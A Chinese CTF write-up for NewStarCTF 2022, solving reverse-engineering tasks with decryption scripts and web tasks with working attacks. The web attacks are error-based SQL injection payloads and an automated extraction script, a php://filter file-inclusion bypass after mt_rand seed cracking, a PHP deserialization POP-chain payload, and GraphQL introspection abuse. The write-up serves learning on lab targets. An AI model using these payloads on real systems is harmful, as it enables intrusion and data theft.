NewStarCTF 公开赛 2022 RE WP
阅读原文时间:2023年07月08日阅读:1

Re

前可见古人,后得见来者

chipher = [0x51, 0x5B, 0x4C, 0x56, 0x59, 0x4D, 0x50, 0x56, 0x54, 0x43,
           0x7D, 0x4C, 0x43, 0x53, 0x7D, 0x50, 0x43, 0x53, 0x7D, 0x47,
           0x50, 0x7D, 0x4C, 0x43, 0x53, 0x7D, 0x4E, 0x40, 0x4A, 0x5F, ]

flag = ''
for i in range(len(chipher)):
    temp = chr(chipher[i] ^ 0x22)

    if temp.islower():
        flag += chr((ord(temp) - 97 - 13 + 26) % 26 + 97)
    elif temp.isupper():
        flag += chr((ord(temp) - 65 - 13 + 26) % 26 + 65)
    else:
        flag += temp

print(flag)

flag{begin_and_end_re_and_you}

/*********TlsCallback_0_0/

TLS回调函数以及反调试简单使用 - 2f28 - 博客园 (cnblogs.com)

这里的线程回调函数,将偏移值3 变成了 iv+=10,即变成了13

(171条消息) TLS callback_xkdlzy的博客-CSDN博客

FindME

# 小端序 存储
__int64 sub_19B6()
{
  int i; // [rsp+8h] [rbp-8h]
  int j; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 31; i += 4 )
  {
    for ( j = 0; j <= 3; ++j )
      *((_DWORD *)s + i / 4) |= byte_50A0[i + j] << (8 * j);
  }
  return sub_19A1();
}

#xor
__int64 sub_192E()
{
  int i; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 7; ++i )
    *((_DWORD *)s + i) ^= 0x2022u;
  return sub_1919();
}

# 移位
__int64 sub_151D()
{
  int i; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 7; ++i )
    *((_DWORD *)s + i) ^= *((_DWORD *)s + i) >> 17;
  return sub_1508();
}

# 密文
__int64 sub_1253()
{
  int i; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 7; ++i )
  {
    if ( *((_DWORD *)s + i) != dword_5020[i] )
    {
      dword_5040 = 0;
      return sub_123E();
    }
  }
  return sub_123E();
}

解密py

chipher = [0x67617FF4, 0x6E305341, 0x656C4DE0, 0x69744BEC, 0x625F7460, 0x6F7348F4, 0x656871C9, 0x7D216ED3]

for i in range(8):
    temp=(chipher[i]&0xffff8000|(chipher[i]&0x00007fff^chipher[i]>>17)) # 直接逆
    temp^=0x2022
    for k in range(4):
        print(chr(temp>>(k*8)&0xff),end='')

flag{D0nt_let_time_bo_so_cheap!}

Petals

去除花之恋

去花后的核心加密函数

unsigned __int64 __fastcall sub_1209(__int64 a1, unsigned int a2)
{
  int i; // [rsp+18h] [rbp-118h]
  unsigned int j; // [rsp+1Ch] [rbp-114h]
  __int64 v5[33]; // [rsp+20h] [rbp-110h] BYREF
  unsigned __int64 v6; // [rsp+128h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  memset(v5, 0, 256);
  for ( i = 0; i <= 255; ++i )
    *((_BYTE *)v5 + i) = ~(i ^ a2);
  for ( j = 0; a2 > j; ++j )
    *(_BYTE *)((int)j + a1) = *((_BYTE *)v5 + *(unsigned __int8 *)((int)j + a1));
  return v6 - __readfsqword(0x28u);
}


import hashlib

v5 = [0] * 256

chipher = [0xD0, 0xD0, 0x85, 0x85, 0x80, 0x80, 0xC5, 0x8A, 0x93, 0x89,
           0x92, 0x8F, 0x87, 0x88, 0x9F, 0x8F, 0xC5, 0x84, 0xD6, 0xD1,
           0xD2, 0x82, 0xD3, 0xDE, 0x87]

for i in range(256):
    v5[i] = (~(i ^ 25))&0xff
# print(sorted(v5))
for i in range(len(chipher)):
    print(chr(v5.index((chipher[i])%256)),end='')
print()
print(hashlib.md5('66ccff#luotianyi#b074d58a'.encode()).hexdigest())

66ccff#luotianyi#b074d58a 提交后错误!!!

就很奇怪,然后查了一下 洛天依 66ccff 等的含义(无语子)

然后才发现,要MD5后提交!!!

printf("If you are succeed, the flag is flag{md5(your input)}");

笑死!!!!!【没看到,还想着misc的思路去想,,,】

flag{d780c9b2d2aa9d40010a753bc15770de}

Likemyasp

查到 Asp 壳,题目也有提示

找了几个工具都无法脱壳,只能尝试X64debug 脱壳,OD只能调试手动脱壳32 位

[X64debug 不太熟,直接硬逆,不手动脱壳]【下面程序,ida动调+断点跟进获得】

sub_7FF7D92D1070(&_guard_xfg_table_dispatch_icall_fptr[16]);
  sub_7FF7D92D1140((__int64)&_guard_xfg_table_dispatch_icall_fptr[18], v10, 30i64);// scanf
  for ( i = 0; i < 24; i += 4 )
  {
    v6 = (v10[i] ^ 0xAi64) << 37;
    v5 = (v10[i + 1] ^ 0x14i64) << 23;
    v7 = (v10[i + 2] ^ 0x1Ei64) << 14;
    v3 = ~v10[i + 3];
    v8 = v3 | v7 | v5 | v6;
    v9[i / 4] = v8;
  }
  for ( j = 0; j < 6; ++j )
  {
    if ( v9[j] != qword_7FF7D92D4010[j + 5] )   // 密文比较
    {
      sub_7FF7D92D1070(&_guard_xfg_table_dispatch_icall_fptr[19]);
      return sub_7FF7D92D1350((unsigned __int64)&v1 ^ v11);
    }
  }


chipher = [0xD803C1FC098, 0xE20360BC097, 0xFE02A1C00A0, 0xFA0121040CB, 0xF2032104092, 0xD6015884082]

flag = ''
for i in range(len(chipher)):
    flag += chr(chipher[i] >> 37 & 0xff ^ 0xa)
    flag += chr(chipher[i] >> 23 & 0xff ^ 0x14)
    flag += chr(chipher[i] >> 14 & 0xff ^ 0x1e)
    flag += chr(~(chipher[i])& 0xff)
print(flag)

flag{x1hu@n_w0_4sp_ma??}

ur_so_naive

0x01 程序分析

导出 libencry.so 分析加密流程

分析知道,获得四位密钥,即可解密程序

v7 = 0;
  v8 = (*(int (__fastcall **)(int, int, _DWORD))(*(_DWORD *)a1 + 676))(a1, a3, 0);
  v9 = (unsigned __int8 *)(*(int (__fastcall **)(int, int, _DWORD))(*(_DWORD *)a1 + 676))(a1, a5, 0);// v9 应该是密钥
  v10 = (*(int (__fastcall **)(int, int))(*(_DWORD *)a1 + 704))(a1, a4);
  if ( a4 )
  {
    do
    {
      v11 = (_BYTE *)v8;
      v12 = (*(unsigned __int8 *)(v8 + v7) >> 1) | (*(unsigned __int8 *)(v8 + v7) << 7);// 分别移位  1|7 2|6 3|5 4|4
      *(_BYTE *)(v8 + v7) = v12;
      v13 = ((unsigned __int8)(v12 ^ *v9) >> 2) | ((v12 ^ *v9) << 6);
      *(_BYTE *)(v8 + v7) = v13;
      v14 = ((unsigned __int8)(v13 ^ v9[1]) >> 3) | (32 * (v13 ^ v9[1]));
      *(_BYTE *)(v8 + v7) = v14;
      v15 = ((unsigned __int8)(v14 ^ v9[2]) >> 4) | (16 * (v14 ^ v9[2]));
      *(_BYTE *)(v8 + v7) = v15;
      v16 = v15 ^ v9[3];
      v17 = v7 + 1;
      if ( v7 - a4 != -1 )
        v11 = (_BYTE *)(v8 + v17);
      *(_BYTE *)(v8 + v7) = v16;
      *(_BYTE *)(v8 + v7++) = v16 ^ *v11;
    }
    while ( v17 != a4 );
  }
  (*(void (__fastcall **)(int, int, _DWORD, int, int))(*(_DWORD *)a1 + 832))(a1, v10, 0, a4, v8);
  return v10;
}

解密py

# 爆破
import hashlib
import itertools

chipher = [0xdc, ord('S'), 0x16, 0x8b, 0x99, 0xf2, 0x08, 0x13, 0xd1, ord('/'), 0x92, ord('G'), 0x02, 0xeb, 0xcc, 0xdc,
           0x18, 0x87, ord('W'), 0x8e, 0x87, 0x1b, 0x8f, 0xaa]

# key=[0x7f080058,0x7f08009d,0x7f080180]  # 猜测密钥

# 爆破密钥
modle = list(itertools.product(
    ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
     'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J',
     'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'], repeat=4))

# key = [0x80, 0x01, 0x08, 0x7f]
flag = ''
j=-1
while True:
    j+=1
    str = ''.join(modle[j])
    key=[ord(str[w]) for w in range(len(str))]
    for i in range(len(chipher) - 1, -1, -1):
        for k in range(30, 128):
            temp = (k >> 1) | (k << 7)
            temp = (temp ^ key[0] >> 2) | (temp ^ key[0] << 6)
            temp = (temp ^ key[1] >> 3) | (temp ^ key[1] << 5)
            temp = (temp ^ key[2] >> 4) | (temp ^ key[2] << 4)
            temp = temp ^ key[3]

            if i == len(chipher)-1:
                temp1=k
            else:
                temp1=chipher[i-1]

            if chipher[i]==temp1^temp:
                flag+=chr(k)
                break
    if len(flag) ==len(chipher):
        break

    print('key:', str)
    flag=''

print(flag)

# 显然,复杂度太高,放弃爆破。
0x02 动态调试 .so 文件

名称 地址

Java_com_new_1star_1ctf_u_1naive_MainActivity_encry LOAD:Java_com_new_1star_1ctf_u_1naive_MainActivity_encry

ida 动态调试时,出现

[求助]ida出现FFFFFFFF: got SIGILL signal (Illegal instruction) - 『移动安全讨论求助区』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

(171条消息) 171025 逆向-安卓脱壳(补充实验)_奈沙夜影的博客-CSDN博客

模拟器为x86架构,而导出的.so程序是ARM架构的原因,只能附加真机,也就是手机和ida 配合起来远程调试

[(171条消息) mobile]真机+IDA调试apk中的so_breezeO_o的博客-CSDN博客

【但是这里比较麻烦,真机调试的话,手机需要root权限等好多限制】

再回到jeb,找到导出.so 文件的位置。有新发现,之前导出的是arm的,无法配合模拟器断点调试.so文件【第一次导出的时候没注意】

那么重新导出X86架构的.so文件,就可以动态调试了,嗨,好多小时才搞定这个,直接麻了,但终于搞定了,舒爽。【这里是结合夜游安卓模拟器+ida附加调试】

动态调试获得 密钥 FALL,获得flag。

附上夜游安卓模拟器+ida附加调试方法:

【nox_adb.exe 时模拟器自带的,可以直接相应目录下使用,也可设置到环境变量中(具体不在赘述)】

【adb【Android 调试桥】介绍Android 调试桥 (adb) | Android 开发者 | Android Developers (google.cn)

nox_adb devices  # 查看端口
nox_adb.exe connect 127.0.0.1:62001
adb push F:\CTF_\ctf_tool\Re_tool\ida_pro\IDA_7.7_chinese\dbgsrv\android_x86_server  /data/local/tmp        (IDA的dbgsrv目录下有很多版本,根据要动态调试的.so文件架构类                               型,上传,如这里的是android_x86_server,可以成功运行)
【/data/local/tmp/android_server(这个目录其实可以随便放,可以绕过有的程序的反调试,】

adb shell
cd /data/local/tmp
chmod 777 android_x86_server
./android_x86_server
再开一个cmd, 设置端口转发 【将PC端的23946端口收到的数据,转发给到手机(模拟器)中23946端口。】
adb forward tcp:23946 tcp:23946

如此就可愉快的使用 ida 开始 附加调试了!

0x03 解密py

下图,是动态调试后发现的一个小细节。静态分析时,我没有注意到!

最后一次处理时,data xor enc[0]

#encoding=utf-8
import hashlib

chipher = [0xdc, ord('S'), 0x16, 0x8b, 0x99, 0xf2, 0x08, 0x13, 0xd1, ord('/'), 0x92, ord('G'), 0x02, 0xeb, 0xcc, 0xdc,
           0x18, 0x87, ord('W'), 0x8e, 0x87, 0x1b, 0x8f, 0xaa]

key =[0x46,0x41,0x4c,0x4c]  # FALL
flag = [0]*24
for i in range(len(chipher) - 1, -1, -1):
    for k in range(30, 128):
        temp = ((k >> 1) | (k << 7))&0xff
        temp = (((temp ^ key[0]) >> 2) | ((temp ^ key[0]) << 6))&0xff
        temp = (((temp ^ key[1]) >> 3) | ((temp ^ key[1]) << 5))&0xff
        temp = (((temp ^ key[2]) >> 4) | ((temp ^ key[2]) << 4))&0xff
        temp = temp ^ key[3]

        if i == len(chipher) - 1:
            temp1 = chipher[0]
        else:
            temp1 = flag[i+1]  # 因为最后一位,xor 第零位,其他处理 xor 后一位,那么以最后一位为突破口,求出flag

        if chipher[i] == temp1 ^ temp:
            flag [i]= k
            break
        # print('第', i, '位 :', k)
print(flag)
for i in range(len(flag)):
    print(chr(flag[i]),end='')

flag{n@1ve_luv_2you#ouo}

Web

Word-For-You(2 Gen)

hint:

哇哇哇,我把查询界面改了,现在你们不能从数据库中拿到东西了吧哈哈(不过为了调试的代码似乎忘记删除了
0x01 程序注入分析

xss :

</h><script>alter();</script><h>  # 直接过滤了

sql 注入

    You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1    

    # haha' or 1=1 #
    好耶!查询成功
    # haha' order by 5 #   猜测出 2 列
    Unknown column '5' in 'order clause'
    # haha' union select 1,2 #
    The used SELECT statements have a different number of columns

显然可以通过报错注入,得到flag

# all db
haha' and extractvalue(1,concat(0x7e,mid((select group_concat(schema_name) from information_schema.schemata limit 0,1),30,30),0x7e))#
XPATH syntax error: '~information_schema,mysql,performance_schema,wfy'
数据库很长

# 数据库 wfy
haha' and extractvalue(1,concat(0x7e,(select database()),0x7e))#
# XPATH syntax error: '~wfy~'  

# 表名 wfy_admin,wfy_comments,wfy_info
haha' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='wfy'),0x7e))#
XPATH syntax error: '~wfy_admin,wfy_comments,wfy_info'   

# 列名 wfy_admin:Id,username,password,cookie
haha' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='wfy' and table_name='wfy_admin' limit 0,1),0x7e))#
XPATH syntax error: '~Id,username,password,cookie~'

# wfy_comments:id,text,user,name,display
haha' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='wfy' and table_name='wfy_comments' limit 0,1),0x7e))#
XPATH syntax error: '~id,text,user,name,display~'

#
haha' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='wfy' and table_name='wfy_info' limit 0,1),0x7e))#
# 空

# 数据
haha' and extractvalue(1,concat(0x7e,(select * from (select user from wfy_comments limit 0,1) as a),0x7e))#

haha' and extractvalue(1,concat(0x7e,(select * from (select display from wfy_comments limit 0,1) as a),0x7e))#
0x02 解密py

现在,已经知道数据库名,表名,列名。但是由于每次只能获得一条数据,且报错输出长度有限制。那么现在尝试,逐条报错注入获取flag.

import requests
import re

url = 'http://3527aa75-03ba-4f2d-9fef-aff78f745f6d.node4.buuoj.cn:81/comments.php'
result = ''
data = {
    "name": "haha' and extractvalue(1,concat(0x7e,(select * from (select display from wfy_comments limit 0,1) as a),0x7e))#"
}

headers = {
    "Cookie": "PHPSESSID=a3b7e533a45e3b9087113b3b8fb6ad81"
}
# response = requests.get(url=url, params=data,headers=headers)
# print(response.text)

for i in range(200):
    data['name'] = "haha' and extractvalue(1,concat(0x7e,(select * from (select text from wfy_comments limit {0},1) as a),0x7e))#".format(i)

    response = requests.get(url=url, params=data, headers=headers)

    match = re.findall(r'error\: \'~(.*?)~\'', response.text)  # flag{Ju4t_m2ke_some_err0rs}
    print(match)

wtf wfy_comments text 成功得到 flag

flag{Ju4t_m2ke_some_err0rs}

IncludeOne

hint:

文件包含漏洞系列第一题,也不知道是不是真的随机? 出题人丢给你了一个工具:https://www.openwall.com/php_mt_seed/
0x01 程序分析
<?php
highlight_file(__FILE__);
error_reporting(0);
include("seed.php");
//mt_srand(*********);
echo "Hint: ".mt_rand()."<br>";
if(isset($_POST['guess']) && md5($_POST['guess']) === md5(mt_rand())){
    if(!preg_match("/base|\.\./i",$_GET['file']) && preg_match("/NewStar/i",$_GET['file']) && isset($_GET['file'])){
        //flag in `flag.php`
        include($_GET['file']);
    }else{
        echo "Baby Hacker?";
    }
}else{
    echo "No Hacker!";
} Hint: 1219893521
No Hacker!

(171条消息) CTF_Web:php伪随机数mt_rand()函数+php_mt_seed工具使用_星辰照耀你我的博客-CSDN博客_php rand 伪随机

在php中每一次调用mt_rand()函数,都会检查一下系统有没有播种。(播种为mt_srand()函数完成),当随机种子生成后,后面生成的随机数都会根据这个随机种子生成。所以同一个种子下,随机数的序列是相同的,这就是漏洞点。

那么我们可以通过,种子生成的随机数来爆破,种子。那么就可以得到我们想要的序列。

(172条消息) php_mt_seed - PHP mt_rand() 随机数种子破解使用_like4h的博客-CSDN博客_php_mt_seed 安装

借助题目给的工具。

└─# time ./php_mt_seed  1219893521
Pattern: EXACT
Version: 3.0.7 to 5.2.0
Found 0, trying 0xfc000000 - 0xffffffff, speed 3988.5 Mseeds/s
Version: 5.2.1+
Found 0, trying 0x00000000 - 0x01ffffff, speed 0.0 Mseeds/s
seed = 0x0011793a = 1145146 (PHP 7.1.0+)
Found 1, trying 0x16000000 - 0x17ffffff, speed 40.7 Mseeds/s
seed = 0x161c5abb = 370956987 (PHP 5.2.1 to 7.0.x; HHVM)
Found 2, trying 0x64000000 - 0x65ffffff, speed 52.3 Mseeds/s
seed = 0x64a22f28 = 1688350504 (PHP 5.2.1 to 7.0.x; HHVM)
seed = 0x64a22f28 = 1688350504 (PHP 7.1.0+)
Found 4, trying 0xc4000000 - 0xc5ffffff, speed 52.5 Mseeds/s
seed = 0xc4b59923 = 3300235555 (PHP 5.2.1 to 7.0.x; HHVM)
seed = 0xc4b59923 = 3300235555 (PHP 7.1.0+)
seed = 0xc4efe664 = 3304056420 (PHP 5.2.1 to 7.0.x; HHVM)
seed = 0xc4efe664 = 3304056420 (PHP 7.1.0+)
Found 8, trying 0xfe000000 - 0xffffffff, speed 53.3 Mseeds/s
Found 8
0x02 爆破种子

不知道,题目所用php版本,就都尝试一下PHP Sandbox - Execute PHP code online through your browser (onlinephp.io)

<?php
mt_srand(1145146);
echo mt_rand()."\n";
echo mt_rand();

//1219893521  1145146
//1202031004    # 正确


POST / HTTP/1.1
Host: 073b1ab1-50eb-4bfa-95de-17a27cfc39be.node4.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
Connection: close

guess=1202031004

guess=1202031004

0x03 绕过正则
if(!preg_match("/base|\.\./i",$_GET['file']) && preg_match("/NewStar/i",$_GET['file']) && isset($_GET['file'])){
        //flag in `flag.php`
        include($_GET['file']);
    }else{
        echo "Baby Hacker?";
    }
# 过滤 base 或 ..  (| 或 \.\. 转义. 防止目录穿越)
编码绕过
.   =>  %2e
/   =>  %2f
% => %25  (双重URL编码)

http://6d0e7775-ad5d-413a-8a66-37fbb2ef74d4.node4.buuoj.cn:81/flag.php  # 可以访问,但没显示。显然flag.php在当前目录

显然是filter伪协议读取,但怎么绕过

读取文件源码可以直接用resource读取(常用)
php://filter/convert.base64-encode/resource=flag.php    base64编码 ---最常用的
php://filter/convert.quoted-printable-encode/resource=flag.php quoted-printable编码
php://filter/string.rot13/resource=flag.php rot13变换

(172条消息) 伪协议filter_php://filter在一次CTF中base被过滤的利用_小明斗的博客-CSDN博客

改为

php://filter/read=string.toupper|string.rot13/resource=NewStar/../../../../../flag.php

===> %252e%252e # 双重编码【获取失败】

如下,NewStar位置应该置于filter后,不影响语句功能,然后保证file中出现NewStar。

php://filter/NewStar/string.rot13/resource=flag.php

得到 rot13

<!--?cuc //synt{66qqr83p-o1qo-4338-nq7r-32r9o986632q}
-->

rot13 解码得到flag

flag{66dde83c-b1db-4338-ad7e-32e9b986632d}

UnserializeOne

0x01 pop 链分析

PHP反序列化研究 - 知乎 (zhihu.com)

(172条消息) CTF之萌新反序列化学习_bmth666的博客-CSDN博客_ctf 反序列化

参考后,构建pop 链

<?php
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{
    public $name;
    protected $func;

    public function __destruct()  //2. 将name设置为Sec类,触发__toString()
    {
        echo "Welcome to NewStarCTF, ".$this->name;
    }

    public function __isset($var) //6.将类名当作函数使用,触发__invoke(),得到flag
    {
        ($this->func)();
    }
}

class Sec{
    private $obj;
    private $var;

    public function __toString() //3.调用一个不可访问方法时调用$this->obj->check,__call 会被调用。同时这里的 $this->var 构建pop链时有用到。
    {
        $this->obj->check($this->var);
        return "CTFers";
    }

    public function __invoke()
    {
        echo file_get_contents('/flag');
    }
}

class Easy{
    public $cla;

    public function __call($fun, $var)  //4.使用 clone 关键字拷贝完成一个对象后,新对象会自动调用定义的魔术方法 __clone()
    {
        $this->cla = clone $var[0];
    }
}

class eeee{
    public $obj;

    public function __clone()      //5.对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用
    {
        if(isset($this->obj->cmd)){
            echo "success";
        }
    }
}

if(isset($_POST['pop'])){
    unserialize($_POST['pop']);  // 1. 反序列化,触发__destruct()析构函数
}

如上所示pop 链分析清楚了。

0x02 构造反序列化数据
<?php

class Start{
    public $name;//='Sec';
    protected $func;//='Sec';

    function __construct(){
        $this->name=new Sec();
        $this->func=new Sec();
    }

class Sec{
    private $obj; //='Easy';
    public $var;

    function __construct(){
        // $this->var=new eeee();  $var 有传递作用,要直接赋值,将属性改为public
        $this->obj=new Easy();
    }
}

class Easy{
    public $cla;//='eeee';
}

class eeee{
    public $obj;//='Start';
}

$Sta=new Start();
$ee=new eeee();

$ee->obj=$Sta;
$Se=new Sec();
$Se->var=$ee;

$Sta->name=$Se;

echo urlencode(serialize($ee));

O%3A4%3A%22eeee%22%3A1%3A%7Bs%3A3%3A%22obj%22%3BO%3A5%3A%22Start%22%3A2%3A%7Bs%3A4%3A%22name%22%3BO%3A3%3A%22Sec%22%3A2%3A%7Bs%3A8%3A%22%00Sec%00obj%22%3BO%3A4%3A%22Easy%22%3A1%3A%7Bs%3A3%3A%22cla%22%3BN%3B%7Ds%3A3%3A%22var%22%3Br%3A1%3B%7Ds%3A7%3A%22%00%2A%00func%22%3BO%3A3%3A%22Sec%22%3A2%3A%7Bs%3A8%3A%22%00Sec%00obj%22%3BO%3A4%3A%22Easy%22%3A1%3A%7Bs%3A3%3A%22cla%22%3BN%3B%7Ds%3A3%3A%22var%22%3BN%3B%7D%7D%7D

最终得到flag:

flag{87fbd8ce-bc28-463c-9588-b207042b878e} Welcome to NewStarCTF, CTFers

ezAPI

0x01 题目分析

查阅 DEBUG: object(stdClass)#1 (1) { ["users_user_by_pk"]=> NULL }

php中stdClass的用法详解-php教程-PHP中文网

相关信息没什么进展,然后尝试目录扫描,看有无收获。

在使用 WebPathBurp 扫描目录【用自带的字典来跑】时发现 WWW.zip 备份文件。获得源码!

<?php
error_reporting(0);
$id = $_POST['id'];
function waf($str)
{
    if (!is_numeric($str) || preg_replace("/[0-9]/", "", $str) !== "") { //只能输入数字
        return False;
    } else {
        return True;
    }
}

function send($data)
{
    $options = array(
        'http' => array(
            'method' => 'POST',
            'header' => 'Content-type: application/json',
            'content' => $data,
            'timeout' => 10 * 60
        )
    );
    $context = stream_context_create($options);
    $result = file_get_contents("http://graphql:8080/v1/graphql", false, $context);
    return $result;
}

if (isset($id)) {
    if (waf($id)) {         // $data 是可控的
        isset($_POST['data']) ? $data = $_POST['data'] : $data = '{"query":"query{\nusers_user_by_pk(id:' . $id . ') {\nname\n}\n}\n", "variables":null}';
        $res = json_decode(send($data));
        if ($res->data->users_user_by_pk->name !== NULL) {
            echo "ID: " . $id . "<br>Name: " . $res->data->users_user_by_pk->name;
        } else {
            echo "<b>Can't found it!</b><br><br>DEBUG: ";
            var_dump($res->data);
        }
    } else {
        die("<b>Hacker! Only Number!</b>");
    }
} else {
    die("<b>No Data?</b>");
}
?>


$data = {"query":"query{\nusers_user_by_pk(id:flag) {\nname\n}\n}\n", "variables":null}

POST 方式提交的data数据是可控的!

发送到 $result = file_get_contents("http://graphql:8080/v1/graphql", false, $context);

// graphql

0x02 graphql 数据查询

GraphQL-接口查询利器 - 知乎 (zhihu.com)

当CTF遇上GraphQL的那些事 (hwlanxiaojun.github.io)

(172条消息) 渗透测试之graphQL_Sp4rkW的博客-CSDN博客_graphql 注入

id=3&data = {"query":"query{\nusers_user_by_pk(id:3) {\nname\n}\n}\n", "variables":admin}

id =3 对应 admin

data={"query":"query{\nusers_user_by_pk(id:3) {\nname,\n}\n}\n", "variables":null}&id=4

id =4 对应 admin 显然参数可控了。那么就是查询数据库的内容了


# 查看存在的class
data={"query":"{  __schema {types {name}}}"}&id=4


# 最终发现大佬博客中,存下如下payload,可以得到Graphql 所有字段

data={"query":"\n    query IntrospectionQuery {\r\n      __schema {\r\n        queryType { name }\r\n        mutationType { name }\r\n        subscriptionType { name }\r\n        types {\r\n          ...FullType\r\n        }\r\n        directives {\r\n          name\r\n          description\r\n          locations\r\n          args {\r\n            ...InputValue\r\n          }\r\n        }\r\n      }\r\n    }\r\n\r\n    fragment FullType on __Type {\r\n      kind\r\n      name\r\n      description\r\n      fields(includeDeprecated: true) {\r\n        name\r\n        description\r\n        args {\r\n          ...InputValue\r\n        }\r\n        type {\r\n          ...TypeRef\r\n        }\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      inputFields {\r\n        ...InputValue\r\n      }\r\n      interfaces {\r\n        ...TypeRef\r\n      }\r\n      enumValues(includeDeprecated: true) {\r\n        name\r\n        description\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      possibleTypes {\r\n        ...TypeRef\r\n      }\r\n    }\r\n\r\n    fragment InputValue on __InputValue {\r\n      name\r\n      description\r\n      type { ...TypeRef }\r\n      defaultValue\r\n    }\r\n\r\n    fragment TypeRef on __Type {\r\n      kind\r\n      name\r\n      ofType {\r\n        kind\r\n        name\r\n        ofType {\r\n          kind\r\n          name\r\n          ofType {\r\n            kind\r\n            name\r\n            ofType {\r\n              kind\r\n              name\r\n              ofType {\r\n                kind\r\n                name\r\n                ofType {\r\n                  kind\r\n                  name\r\n                  ofType {\r\n                    kind\r\n                    name\r\n                  }\r\n                }\r\n              }\r\n            }\r\n          }\r\n        }\r\n      }\r\n    }\r\n  ","variables":null}&id=4

//data={"query":"{  __schema {types {name}}}"}&id=4

查询到所有信息【该API端点的所有信息】

存于 info_Graphsql_.txt, 内容太多,这里就不贴上了

得到关键类信息,但怎么利用查询呢!

// flag 位于 ffffllllaaagggg_1n_h3r3.flag 表 

      [13]=>
      object(stdClass)#181 (8) {
        ["kind"]=>
        string(6) "OBJECT"
        ["name"]=>
        string(28) "ffffllllaaagggg_1n_h3r3_flag"
        ["description"]=>
        string(59) "columns and relationships of "ffffllllaaagggg_1n_h3r3.flag""
        ["fields"]=>
        array(1) {
          [0]=>
          object(stdClass)#182 (6) {
            ["name"]=>
            string(4) "flag"
            ["description"]=>
            NULL
            ["args"]=>
            array(0) {
            }
            ["type"]=>
            object(stdClass)#183 (3) {
              ["kind"]=>
              string(8) "NON_NULL"
              ["name"]=>
              NULL
              ["ofType"]=>
              object(stdClass)#184 (3) {
                ["kind"]=>
                string(6) "SCALAR"
                ["name"]=>
                string(6) "String"
                ["ofType"]=>
                NULL
              }
            }
            ["isDeprecated"]=>
            bool(false)
            ["deprecationReason"]=>
            NULL
          }
        }
        ["inputFields"]=>
        NULL
        ["interfaces"]=>
        array(0) {
        }
        ["enumValues"]=>
        NULL
        ["possibleTypes"]=>
        NULL
      }

# 如上 flag 就位于 ffffllllaaagggg_1n_h3r3_flag 中

结合题目泄露的源码的查询方式,进行Graphsql 查询!

data={"query":"query{\nffffllllaaagggg_1n_h3r3_flag{\nflag\n}\n}\n", "variables":null}&id=4

得到flag

DEBUG: object(stdClass)#2 (1) {
  ["ffffllllaaagggg_1n_h3r3_flag"]=>
  array(1) {
    [0]=>
    object(stdClass)#1 (1) {
      ["flag"]=>
      string(42) "flag{4a902c8e-a8b5-ecfb-bee3-d6419865647c}"
    }
  }
}

flag{4a902c8e-a8b5-ecfb-bee3-d6419865647c}

Re

Zzzzzz3333

直接 z3 求解key,即可得到flag

import base64
from z3 import *

Arglist=[]
for i in range(8):
    Arglist.append(Int(str(i)))

s = Solver()

v13 = Arglist[5]
v11 = Arglist[4]
v9 = Arglist[1]
v12 = Arglist[3]
v8 = Arglist[7]
v10 = Arglist[0]

s.add(Arglist[3]
     + 4 * Arglist[2]
     + Arglist[7]
     + 4 * (Arglist[3] + 4 * Arglist[2])
     + 3 * (Arglist[4] + 4 * Arglist[0])
     + 2 * (Arglist[5] + 4 * Arglist[6])
     + 11 * Arglist[1] == 6426)

s.add(11 * (v10 + v8 + v12) + 4 * (v13 + 2 * v11) + Arglist[2] + 45 * v9 + 7 * Arglist[6] == 9801)
s.add(5 * v9
     + 2 * (v11 + Arglist[6] + v13 + 2 * (v8 + v12) + Arglist[2] + 2 * (Arglist[6] + v13 + 2 * (v8 + v12)) + 8 * v10) == 6021)
s.add(19 * v10 + 9 * v9 + 67 * v8 + 5 * (Arglist[2] + Arglist[6]) + 7 * (v13 + 4 * v12) + 4 * v11 == 14444)
s.add(22 * v13 + 5 * (v11 + 2 * (v12 + v9 + 2 * v10)) + 4 * (v8 + Arglist[6]) + 6 * Arglist[2] == 7251)
s.add(19 * v12
     + 3 * (v8 + Arglist[2] + 4 * v8 + Arglist[6] + 2 * (v8 + Arglist[2] + 4 * v8))
     + 4 * (v10 + v13 + v9 + 2 * (v10 + v13)) == 10054)
s.add(7 * v10 + 17 * (v12 + v9*2) + 11 * (v11 + 2 * v13) + 2 * (Arglist[2] + Arglist[6] + 4 * Arglist[2] + 6 * v8) == 10735)
s.add(Arglist[6] + v11 + 11 * Arglist[2] + 15 * (v12 + 2 * v8) + v9*2 + 43 * v10 + 21 * v13 == 11646)

print (s.check())
m = s.model()
print (m)

flag_ = ""
for i in Arglist:
    flag_ += chr(int(str(m[i])))

print(flag_)   # key= fallw1nd

key= fallw1nd
